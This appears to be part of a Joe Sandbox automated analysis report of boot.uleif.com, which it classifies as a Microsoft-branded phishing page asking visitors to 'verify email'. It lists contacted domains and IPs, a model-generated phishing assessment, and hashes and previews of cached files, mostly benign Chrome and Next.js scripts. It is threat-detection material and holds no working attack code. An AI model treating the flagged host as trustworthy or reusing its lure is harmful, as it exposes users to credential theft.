https://joyreactor.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://cookreactor.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://wildixin.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://eworkbookcloud.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://cognitiveai.ru	sets.json.0.dr	false	URL Reputation: safe	unknown
https://nacion.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://chennien.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://drimer.travel	sets.json.0.dr	false	URL Reputation: safe	unknown
https://deccoria.pl	sets.json.0.dr	false	URL Reputation: safe	unknown
https://mercadopago.cl	sets.json.0.dr	false	URL Reputation: safe	unknown
https://talkdeskstgid.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://naukri.com	sets.json.0.dr	false		unknown
https://interia.pl	sets.json.0.dr	false		unknown
https://bonvivir.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://carcostadvisor.be	sets.json.0.dr	false	URL Reputation: safe	unknown
https://salemovetravel.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://sapo.io	sets.json.0.dr	false	URL Reputation: safe	unknown
https://wpext.pl	sets.json.0.dr	false	URL Reputation: safe	unknown
https://welt.de	sets.json.0.dr	false	URL Reputation: safe	unknown
https://poalim.site	sets.json.0.dr	false	URL Reputation: safe	unknown
https://drimer.io	sets.json.0.dr	false	URL Reputation: safe	unknown
https://infoedgeindia.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://blackrockadvisorelite.it	sets.json.0.dr	false	URL Reputation: safe	unknown
https://cognitive-ai.ru	sets.json.0.dr	false	URL Reputation: safe	unknown
https://cafemedia.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://graziadaily.co.uk	sets.json.0.dr	false	URL Reputation: safe	unknown
https://thirdspace.org.au	sets.json.0.dr	false	URL Reputation: safe	unknown
https://mercadoshops.com.ar	sets.json.0.dr	false	URL Reputation: safe	unknown
https://smpn106jkt.sch.id	sets.json.0.dr	false	URL Reputation: safe	unknown
https://elpais.uy	sets.json.0.dr	false	URL Reputation: safe	unknown
https://landyrev.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://the42.ie	sets.json.0.dr	false	URL Reputation: safe	unknown
https://commentcamarche.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://tucarro.com.ve	sets.json.0.dr	false	URL Reputation: safe	unknown
https://rws3nvtvt.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://eleconomista.net	sets.json.0.dr	false	URL Reputation: safe	unknown
https://helpdesk.com	sets.json.0.dr	false		unknown
https://mercadolivre.com.br	sets.json.0.dr	false	URL Reputation: safe	unknown
https://clmbtech.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://standardsandpraiserepurpose.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://07c225f3.online	sets.json.0.dr	false		unknown
https://salemovefinancial.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://mercadopago.com.br	sets.json.0.dr	false	URL Reputation: safe	unknown
https://commentcamarche.net	sets.json.0.dr	false	URL Reputation: safe	unknown
https://etfacademy.it	sets.json.0.dr	false	URL Reputation: safe	unknown
https://mighty-app.appspot.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://hj.rs	sets.json.0.dr	false	URL Reputation: safe	unknown
https://hearty.me	sets.json.0.dr	false	URL Reputation: safe	unknown
https://mercadolibre.com.gt	sets.json.0.dr	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
34.117.59.81	ipinfo.io	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.185.164	www.google.com	United States	15169	GOOGLEUS	false
76.76.21.21	boot.uleif.com	United States	16509	AMAZON-02US	true

Private

IP
192.168.2.4
192.168.2.5

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1531789
Start date and time:	2024-10-11 20:28:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 16s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	http://boot.uleif.com
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal56.phis.win@23/48@12/6
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.181.227, 142.250.184.206, 64.233.167.84, 34.104.35.123, 216.58.212.170, 142.250.185.202, 216.58.212.138, 142.250.185.138, 142.250.181.234, 142.250.184.234, 172.217.18.106, 216.58.206.42, 142.250.186.170, 142.250.185.234, 142.250.185.106, 142.250.186.74, 142.250.184.202, 142.250.185.74, 172.217.23.106, 142.250.185.170, 199.232.210.172, 192.229.221.95, 40.69.42.241, 13.85.23.206, 13.95.31.18, 142.250.185.163
Excluded domains from analysis (whitelisted): azurefd-t-fb-prod.trafficmanager.net, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, otelrules.azureedge.net, otelrules.afd.azureedge.net, ctldl.windowsupdate.com, clientservices.googleapis.com, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, glb.cws.prod.dcat.dsp.trafficmanager.net, update.googleapis.com, azureedge-t-prod.trafficmanager.net, clients.l.google.com
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: http://boot.uleif.com

Simulations

Behavior and APIs

⊘No simulations

LLM Input / Output

Input	Output
URL: https://boot.uleif.com/ Model: jbxai	{ "brands":["Microsoft"], "text":"Verify email to proceed", "contains_trigger_text":true, "trigger_text":"Verify email to proceed", "prominent_button_name":"Next", "text_input_field_labels":["Email Address"], "pdf_icon_visible":false, "has_visible_captcha":false, "has_urgent_text":false, "has_visible_qrcode":false}

URL: https://boot.uleif.com/ Model: jbxai	{ "phishing_score":9, "brands":"Microsoft", "legit_domain":"microsoft.com", "classification":"wellknown", "reasons":["The brand 'Microsoft' is a well-known global technology company.", "The legitimate domain for Microsoft is 'microsoft.com'.", "The provided URL 'boot.uleif.com' does not match the legitimate domain for Microsoft.", "The domain 'uleif.com' does not have any known association with Microsoft.", "The presence of a subdomain 'boot' does not provide any legitimate context for Microsoft.", "The URL structure suggests a potential phishing attempt as it does not align with Microsoft's known domain."], "brand_matches":[false], "url_match":false, "brand_input":"Microsoft", "input_fields":"Email Address"}

URL: https://boot.uleif.com/ Model: jbxai	{ "brands":["Microsoft"], "text":"Verify email to proceed", "contains_trigger_text":true, "trigger_text":"Verify email to proceed", "prominent_button_name":"Next", "text_input_field_labels":["Email Address"], "pdf_icon_visible":false, "has_visible_captcha":false, "has_urgent_text":false, "has_visible_qrcode":false}

URL: https://boot.uleif.com/ Model: jbxai	{ "phishing_score":9, "brands":"Microsoft", "legit_domain":"microsoft.com", "classification":"wellknown", "reasons":["The brand 'Microsoft' is a well-known global technology company.", "The legitimate domain for Microsoft is 'microsoft.com'.", "The provided URL 'boot.uleif.com' does not match the legitimate domain for Microsoft.", "The domain 'uleif.com' does not have any known association with Microsoft.", "The presence of a subdomain 'boot' does not provide any legitimate context for Microsoft.", "The URL structure suggests a potential phishing attempt due to the mismatch with the known Microsoft domain."], "brand_matches":[false], "url_match":false, "brand_input":"Microsoft", "input_fields":"Email Address"}

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

⊘No context

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping2332_1054553331\LICENSE

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1558
Entropy (8bit):	5.11458514637545
Encrypted:	false
SSDEEP:	48:OBOCrYJ4rYJVwUCLHDy43HV713XEyMmZ3teTHn:LCrYJ4rYJVwUCHZ3Z13XtdUTH
MD5:	EE002CB9E51BB8DFA89640A406A1090A
SHA1:	49EE3AD535947D8821FFDEB67FFC9BC37D1EBBB2
SHA-256:	3DBD2C90050B652D63656481C3E5871C52261575292DB77D4EA63419F187A55B
SHA-512:	D1FDCC436B8CA8C68D4DC7077F84F803A535BF2CE31D9EB5D0C466B62D6567B2C59974995060403ED757E92245DB07E70C6BDDBF1C3519FED300CC5B9BF9177C
Malicious:	false
Reputation:	low
Preview:	// Copyright 2015 The Chromium Authors. All rights reserved..//.// Redistribution and use in source and binary forms, with or without.// modification, are permitted provided that the following conditions are.// met:.//.// * Redistributions of source code must retain the above copyright.// notice, this list of conditions and the following disclaimer..// * Redistributions in binary form must reproduce the above.// copyright notice, this list of conditions and the following disclaimer.// in the documentation and/or other materials provided with the.// distribution..// * Neither the name of Google Inc. nor the names of its.// contributors may be used to endorse or promote products derived from.// this software without specific prior written permission..//.// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS.// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT.// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR.// A PARTICULAR

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping2332_1054553331\_metadata\verified_contents.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1864
Entropy (8bit):	6.021127689065198
Encrypted:	false
SSDEEP:	48:p/hUI1atAdI567akUmYWEFw/3+ovGJ4F3jkZUbvzk98g5m7:RnYQI47avYUwvVGJ41jkZIzxgA7
MD5:	68E6B5733E04AB7BF19699A84D8ABBC2
SHA1:	1C11F06CA1AD3ED8116D356AB9164FD1D52B5CF0
SHA-256:	F095F969D6711F53F97747371C83D5D634EAEF21C54CB1A6A1CC5B816D633709
SHA-512:	9DC5D824A55C969820D5D1FBB0CA7773361F044AE0C255E7C48D994E16CE169FCEAC3DE180A3A544EBEF32337EA535683115584D592370E5FE7D85C68B86C891
Malicious:	false
Reputation:	low
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiJMSUNFTlNFIiwicm9vdF9oYXNoIjoiUGIwc2tBVUxaUzFqWldTQnctV0hIRkltRlhVcExiZDlUcVkwR2ZHSHBWcyJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiIyNXB3SWdtQWU2QTVoeDVVTG9OV0laODBLbzJjbktOTHpacUdjbjlLT2c4In0seyJwYXRoIjoic2V0cy5qc29uIiwicm9vdF9oYXNoIjoiOWVza0FuRlBsM3VCQzkwUmFWakxNaVI3NXZIQi0wQUVmMmg0RzU3ZXNpcyJ9XSwiZm9ybWF0IjoidHJlZWhhc2giLCJoYXNoX2Jsb2NrX3NpemUiOjQwOTZ9XSwiaXRlbV9pZCI6ImdvbnBlbWRna2pjZWNkZ2JuYWFiaXBwcGJtZ2ZnZ2JlIiwiaXRlbV92ZXJzaW9uIjoiMjAyNC44LjEwLjAiLCJwcm90b2NvbF92ZXJzaW9uIjoxfQ","signatures":[{"header":{"kid":"publisher"},"protected":"eyJhbGciOiJSUzI1NiJ9","signature":"dU2MmRUQSugaJAJvEN4uaQHx-KXdOkjj0yK8_aH4Afr3kN7DPOZRt6yLTS3UchBE5M-dgPPPBuKADj4KEK4B22SO6WQquL5J27AUPqQBGgr44-iFGVJdOLLlfirFlJmcYv6DUFRYiPsQFGMr1JFqInj19jgkOxzR6qqcNuTCB0wGEMeTU80r-igCjeQG6TIzPro7yKd_-UxsxO6OGAySmlIJIoU54X0p0ATNoZyAfkhb8kb0oN8unOU

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping2332_1054553331\manifest.fingerprint

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	66
Entropy (8bit):	3.9159446964030753
Encrypted:	false
SSDEEP:	3:Sq5TQRaELVHecsUDBAeHD5k:Sq5gJ+csHej5k
MD5:	CFB54589424206D0AE6437B5673F498D
SHA1:	D1EF6314F0F68EFDD0BA8F6CA9E59BFF863B1609
SHA-256:	285AC183C35350B4B77332172413902F83726CA8F53D63859B5DA082FD425A1C
SHA-512:	70FDCA4A1E6B7A5FFED3414E2DB74FECA7E0FD17482B8CB30393DFEE20AB9AD2B0B00FF0C590DD0E8D744D0EAD876CE8844519AF66618ED14666BCA56DF2DA21
Malicious:	false
Reputation:	low
Preview:	1.dbf288588465463a914bdfc5e86d465fb3592b2f1261dc0e40fcc5c1adc8e7e4

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping2332_1054553331\manifest.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	85
Entropy (8bit):	4.4533115571544695
Encrypted:	false
SSDEEP:	3:rR6TAulhFphifFCmMARWHJqS1tean:F6VlM8aRWpqS1ln
MD5:	C3419069A1C30140B77045ABA38F12CF
SHA1:	11920F0C1E55CADC7D2893D1EEBB268B3459762A
SHA-256:	DB9A702209807BA039871E542E8356219F342A8D9C9CA34BCD9A86727F4A3A0F
SHA-512:	C5E95A4E9F5919CB14F4127539C4353A55C5F68062BF6F95E1843B6690CEBED3C93170BADB2412B7FB9F109A620385B0AE74783227D6813F26FF8C29074758A1
Malicious:	false
Reputation:	low
Preview:	{. "manifest_version": 2,. "name": "First Party Sets",. "version": "2024.8.10.0".}

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping2332_1054553331\sets.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9748
Entropy (8bit):	4.629326694042306
Encrypted:	false
SSDEEP:	96:Mon4mvC4qX19s1blbw/BNKLcxbdmf56MFJtRTGXvcxN43uP+8qJq:v5C4ql7BkIVmtRTGXvcxBsq
MD5:	EEA4913A6625BEB838B3E4E79999B627
SHA1:	1B4966850F1B117041407413B70BFA925FD83703
SHA-256:	20EF4DE871ECE3C5F14867C4AE8465999C7A2CC1633525E752320E61F78A373C
SHA-512:	31B1429A5FACD6787F6BB45216A4AB1C724C79438C18EBFA8C19CED83149C17783FD492A03197110A75AAF38486A9F58828CA30B58D41E0FE89DFE8BDFC8A004
Malicious:	false
Reputation:	low
Preview:	{"primary":"https://bild.de","associatedSites":["https://welt.de","https://autobild.de","https://computerbild.de","https://wieistmeineip.de"],"serviceSites":["https://www.asadcdn.com"]}.{"primary":"https://blackrock.com","associatedSites":["https://blackrockadvisorelite.it","https://cachematrix.com","https://efront.com","https://etfacademy.it","https://ishares.com"]}.{"primary":"https://cafemedia.com","associatedSites":["https://cardsayings.net","https://nourishingpursuits.com"]}.{"primary":"https://caracoltv.com","associatedSites":["https://noticiascaracol.com","https://bluradio.com","https://shock.co","https://bumbox.com","https://hjck.com"]}.{"primary":"https://carcostadvisor.com","ccTLDs":{"https://carcostadvisor.com":["https://carcostadvisor.be","https://carcostadvisor.fr"]}}.{"primary":"https://citybibleforum.org","associatedSites":["https://thirdspace.org.au"]}.{"primary":"https://cognitiveai.ru","associatedSites":["https://cognitive-ai.ru"]}.{"primary":"https://drimer.io","asso

Chrome Cache Entry: 121

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 700 x 394, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	11754
Entropy (8bit):	7.9317155497253164
Encrypted:	false
SSDEEP:	192:WNRfG69ZKxmOcjxXvo0aQfgvqp19qcgxGB5M2n9e5xqGPQf0Uia:a+WXA0Dp1gc2U832sUia
MD5:	1907807F507D6545EAF042732672ACA1
SHA1:	2B70F83639E2A7202A64C188F56BB2424D4FEAE1
SHA-256:	55DE1F37B3B5B298967F4A1368673A111243A0D176002B6D956EAF997679B62D
SHA-512:	93B371B03B56FD7DBE5A1D17F611A1241C55AA3E7E23D4C39A12DD5CAC3773A7A284E307BF7A093243C9660B4584BACC21BC664F88985BB5B224D08AF4D26C1F
Malicious:	false
Reputation:	low
URL:	https://boot.uleif.com/logo.png
Preview:	.PNG........IHDR..............b\...TPLTEGpL....s..y..u..s..s..}..q..x...........d..k...........r..k...........P..>t.t.l.......>....tRNS......G..n\|..K.. .IDATx...w....-m.....(8......$`......c....]+_w63......@ .....@.sxzy.W.<....?........q..\|.......C..........j/.C...!0..}.^6....b..f\Y5.7~......I..W....1.5...%.+o......Q.}...s,}.&.kRS`$o1."Han..>..-.5H.V6.G. ...&...>._..,0.).#...&B<q...=$..g.$K......mC.....'..t..L.....Lo......q.5$...m..x.l.q.l.e...@3.7.d....r.5c...*.7f.>!.+..yC2)e.[(.&.k&..F0.ff..LO...Y....6l..23..m.f...7...".,...Y<....xK.6.."#...h3...:...=.Lot...m..tr.L......h.....5...8..o.r.O....!..._.FJ......f.y..,...xZ>._.f..<".3.U...T.....t.^x.&7-.Icx^D..0.R3..iF.jFq.A..^.y.$...By.........6....f.....U..Y3...y......{K..L.!f^6..J....f..g.o"gf.r3}mt.l.b..,...ff.....w..x./.E..^3..y.-../.{'l...m.....x...5c...v$......X..`.Y..........9..7..a(/</b..........t.&W.;.-.^.ATm.{....t9......~..w5..k.nu...c.r^..m..p.....{....)f..=.t..E..^.uM9...&T'C./

Chrome Cache Entry: 122

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1591)
Category:	dropped
Size (bytes):	1927
Entropy (8bit):	5.247153181082636
Encrypted:	false
SSDEEP:	48:sM4rHu8isrzw+iqM4qakAuGdmrSXBPTbEQ+mUSWpp0Ac9rf:X4rH59rTe3AVFn+mP6pZA
MD5:	A5A164883BA97BBAF69D369EE89A8C55
SHA1:	A3153BA837B11C91D2C9B8015A1012A9B789A1D7
SHA-256:	E76F71954CF115E98EC92D14708D991A05AB5C47DE9E6A0F90DDD848B3ED330E
SHA-512:	C97833DF986F0FE5B49E276C963783F3A922E731B20A64E3DEA056DBBB31F22A221A6FCAB70B06EF3AADE501D211603E2AAE6CB45D945B467572432930650B4F
Malicious:	false
Reputation:	low
Preview:	!function(){"use strict";var e,n,r,t,o={},u={};function i(e){var n=u[e];if(void 0!==n)return n.exports;var r=u[e]={exports:{}},t=!0;try{o[e](r,r.exports,i),t=!1}finally{t&&delete u[e]}return r.exports}i.m=o,e=[],i.O=function(n,r,t,o){if(r){o=o\|\|0;for(var u=e.length;u>0&&e[u-1][2]>o;u--)e[u]=e[u-1];e[u]=[r,t,o];return}for(var f=1/0,u=0;u<e.length;u++){for(var r=e[u][0],t=e[u][1],o=e[u][2],c=!0,l=0;l<r.length;l++)f>=o&&Object.keys(i.O).every(function(e){return i.O[e](r[l])})?r.splice(l--,1):(c=!1,o<f&&(f=o));if(c){e.splice(u--,1);var a=t();void 0!==a&&(n=a)}}return n},i.n=function(e){var n=e&&e.__esModule?function(){return e.default}:function(){return e};return i.d(n,{a:n}),n},i.d=function(e,n){for(var r in n)i.o(n,r)&&!i.o(e,r)&&Object.defineProperty(e,r,{enumerable:!0,get:n[r]})},i.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|Function("return this")()}catch(e){if("object"==typeof window)return window}}(),i.o=function(e,n){return Object.prototype.hasOwn

Chrome Cache Entry: 123

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	274
Entropy (8bit):	4.897270223761388
Encrypted:	false
SSDEEP:	6:kXO19TgIJAuuuthkP//f4IoWzqs4jW1CAn:k+15gIOuHhA/XvoPPWf
MD5:	D362ABFA435FB75BBDCB2E194D14DC4F
SHA1:	E5DEC1FABE990767DB2966E945BF08A269130933
SHA-256:	EE7C9F0B3E011AC99A18CC6EC81AC78F25DC57CFE01CB69B99B7A45E5D8927D0
SHA-512:	88796C53A918EEE6AD6AC2BB24613EA1DC283601261A9D5712473F355FF3FDF3A2F2895273A5C41D10F57C69768729ED4E3672DAF4730DF15BF101F894C4A2EC
Malicious:	false
Reputation:	low
Preview:	{. "ip": "8.46.123.33",. "hostname": "static-cpe-8-46-123-33.centurylink.com",. "city": "New York City",. "region": "New York",. "country": "US",. "loc": "40.7143,-74.0060",. "org": "AS3356 Level 3 Parent, LLC",. "postal": "10001",. "timezone": "America/New_York".}

Chrome Cache Entry: 124

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	139978
Entropy (8bit):	5.263923150777386
Encrypted:	false
SSDEEP:	1536:PYjv9NX6lMuubFHHsje9N6SAk1SCocnIEdRXQH:Qj3b536SJ1S8fvAH
MD5:	BF0DBEA2C1509E290FC7DDBDD9477A3B
SHA1:	296721CE3728C51C7FAC5FB35C971BAF5FD92B7B
SHA-256:	4250D53F0BC756ECE2DDD690A008ADD1D7FDC887528C671F4DFE8D916D7787B7
SHA-512:	A047BEF4736A82A41C60BAEFB59FD2D52C8027B3FCD788E3311CE5FD000EF719A80F0698A86E180FBFFA708E0F30520BF6648E3EF15F62CF16B4CE237BB2CED2
Malicious:	false
Reputation:	low
Preview:	"use strict";(self.webpackChunk_N_E=self.webpackChunk_N_E\|\|[]).push([[774],{4448:function(e,n,t){var r,l,a,u,o,i,s=t(7294),c=t(3840);function f(e){for(var n="https://reactjs.org/docs/error-decoder.html?invariant="+e,t=1;t<arguments.length;t++)n+="&args[]="+encodeURIComponent(arguments[t]);return"Minified React error #"+e+"; visit "+n+" for the full message or use the non-minified dev environment for full errors and additional helpful warnings."}var d=new Set,p={};function m(e,n){h(e,n),h(e+"Capture",n)}function h(e,n){for(p[e]=n,e=0;e<n.length;e++)d.add(n[e])}var g=!("undefined"==typeof window\|\|void 0===window.document\|\|void 0===window.document.createElement),v=Object.prototype.hasOwnProperty,y=/^[:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD][:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\u

Chrome Cache Entry: 125

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 700 x 394, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	11754
Entropy (8bit):	7.9317155497253164
Encrypted:	false
SSDEEP:	192:WNRfG69ZKxmOcjxXvo0aQfgvqp19qcgxGB5M2n9e5xqGPQf0Uia:a+WXA0Dp1gc2U832sUia
MD5:	1907807F507D6545EAF042732672ACA1
SHA1:	2B70F83639E2A7202A64C188F56BB2424D4FEAE1
SHA-256:	55DE1F37B3B5B298967F4A1368673A111243A0D176002B6D956EAF997679B62D
SHA-512:	93B371B03B56FD7DBE5A1D17F611A1241C55AA3E7E23D4C39A12DD5CAC3773A7A284E307BF7A093243C9660B4584BACC21BC664F88985BB5B224D08AF4D26C1F
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR..............b\...TPLTEGpL....s..y..u..s..s..}..q..x...........d..k...........r..k...........P..>t.t.l.......>....tRNS......G..n\|..K.. .IDATx...w....-m.....(8......$`......c....]+_w63......@ .....@.sxzy.W.<....?........q..\|.......C..........j/.C...!0..}.^6....b..f\Y5.7~......I..W....1.5...%.+o......Q.}...s,}.&.kRS`$o1."Han..>..-.5H.V6.G. ...&...>._..,0.).#...&B<q...=$..g.$K......mC.....'..t..L.....Lo......q.5$...m..x.l.q.l.e...@3.7.d....r.5c...*.7f.>!.+..yC2)e.[(.&.k&..F0.ff..LO...Y....6l..23..m.f...7...".,...Y<....xK.6.."#...h3...:...=.Lot...m..tr.L......h.....5...8..o.r.O....!..._.FJ......f.y..,...xZ>._.f..<".3.U...T.....t.^x.&7-.Icx^D..0.R3..iF.jFq.A..^.y.$...By.........6....f.....U..Y3...y......{K..L.!f^6..J....f..g.o"gf.r3}mt.l.b..,...ff.....w..x./.E..^3..y.-../.{'l...m.....x...5c...v$......X..`.Y..........9..7..a(/</b..........t.&W.;.-.^.ATm.{....t9......~..w5..k.nu...c.r^..m..p.....{....)f..=.t..E..^.uM9...&T'C./

Chrome Cache Entry: 126

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (442), with no line terminators
Category:	dropped
Size (bytes):	442
Entropy (8bit):	5.286822230370172
Encrypted:	false
SSDEEP:	12:fbjrTVxAU7bXxMyFAel6CYucII5WQdyc6uLt:fbjfVxAU7bXxMyXPcII5WUyc6uh
MD5:	5D9E833313893A485F61FD8F483D2036
SHA1:	648678877D45DC37E1E67BC07EE1D8A05AA00356
SHA-256:	CE51D526C2A68CF5B833ABFBD085C6ECA64184238B43DE0444398953D0588AAC
SHA-512:	B8D8613D9BC92F523A4C2C4E6C082F541B169679C9E4ABC970AE802E38DCB1BCD7844FDA07CBE45507E7A7B84761251D897C1B3B387CDFAE84FA7F5C6DDF65E0
Malicious:	false
Reputation:	low
Preview:	(self.webpackChunk_N_E=self.webpackChunk_N_E\|\|[]).push([[888],{1118:function(n,u,t){(window.__NEXT_P=window.__NEXT_P\|\|[]).push(["/_app",function(){return t(4926)}])},4926:function(n,u,t){"use strict";t.r(u);var _=t(5893);t(3434),u.default=function(n){let{Component:u,pageProps:t}=n;return(0,_.jsx)(u,{...t})}},3434:function(){}},function(n){var u=function(u){return n(n.s=u)};n.O(0,[774,179],function(){return u(1118),u(3079)}),_N_E=n.O()}]);

Chrome Cache Entry: 127

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	274
Entropy (8bit):	4.897270223761388
Encrypted:	false
SSDEEP:	6:kXO19TgIJAuuuthkP//f4IoWzqs4jW1CAn:k+15gIOuHhA/XvoPPWf
MD5:	D362ABFA435FB75BBDCB2E194D14DC4F
SHA1:	E5DEC1FABE990767DB2966E945BF08A269130933
SHA-256:	EE7C9F0B3E011AC99A18CC6EC81AC78F25DC57CFE01CB69B99B7A45E5D8927D0
SHA-512:	88796C53A918EEE6AD6AC2BB24613EA1DC283601261A9D5712473F355FF3FDF3A2F2895273A5C41D10F57C69768729ED4E3672DAF4730DF15BF101F894C4A2EC
Malicious:	false
Reputation:	low
URL:	https://ipinfo.io/json?token=c3e87e382ddea7
Preview:	{. "ip": "8.46.123.33",. "hostname": "static-cpe-8-46-123-33.centurylink.com",. "city": "New York City",. "region": "New York",. "country": "US",. "loc": "40.7143,-74.0060",. "org": "AS3356 Level 3 Parent, LLC",. "postal": "10001",. "timezone": "America/New_York".}

Chrome Cache Entry: 128

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	77
Entropy (8bit):	4.37144473219773
Encrypted:	false
SSDEEP:	3:k0WYL12AvZ/W6QfpX/W6Qee:UYR2AvZO6EpXO6I
MD5:	B6652DF95DB52FEB4DAF4ECA35380933
SHA1:	65451D110137761B318C82D9071C042DB80C4036
SHA-256:	6F5B4AA00D2F8D6AED9935B471806BF7ACEF464D0C1D390260E5FE27F800C67E
SHA-512:	3390C5663EF9081885DF8CDBC719F6C2F1597A4E25168529598097E9472608A4A62EC7F7E0BC400D22AAC81BF6EA926532886E4DC6E4E272D3B588490A090473
Malicious:	false
Reputation:	low
URL:	https://boot.uleif.com/_next/static/56kho6wiIZfQ6_uNQX-cO/_ssgManifest.js
Preview:	self.__SSG_MANIFEST=new Set,self.__SSG_MANIFEST_CB&&self.__SSG_MANIFEST_CB();

Chrome Cache Entry: 129

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (1975), with no line terminators
Category:	downloaded
Size (bytes):	1975
Entropy (8bit):	5.274970979882661
Encrypted:	false
SSDEEP:	48:d+4GFyGF+4G1uyG1xq7OPrguvgeVAU0+eJZHC//OnZlIIw:dDwyaD5y+q7Co06dwCE
MD5:	92FC0FDA423198C658C7E766A9CD1EB9
SHA1:	15C8621D20BA72FC421B77B7433EE898BCFE1C61
SHA-256:	5EBF1B4E1877DE696008B40D0FF1B54160FAD2F891A6BE3A9EC09D86033F32B7
SHA-512:	A8427719442EC1C3ABD820285055A87C98A94FBE848557B1BACCF3EAE1FC413B48963C88C871A2F456ED49A8E74DA6FCDCE21E56239828940637D2ADC5184AF8
Malicious:	false
Reputation:	low
URL:	https://boot.uleif.com/
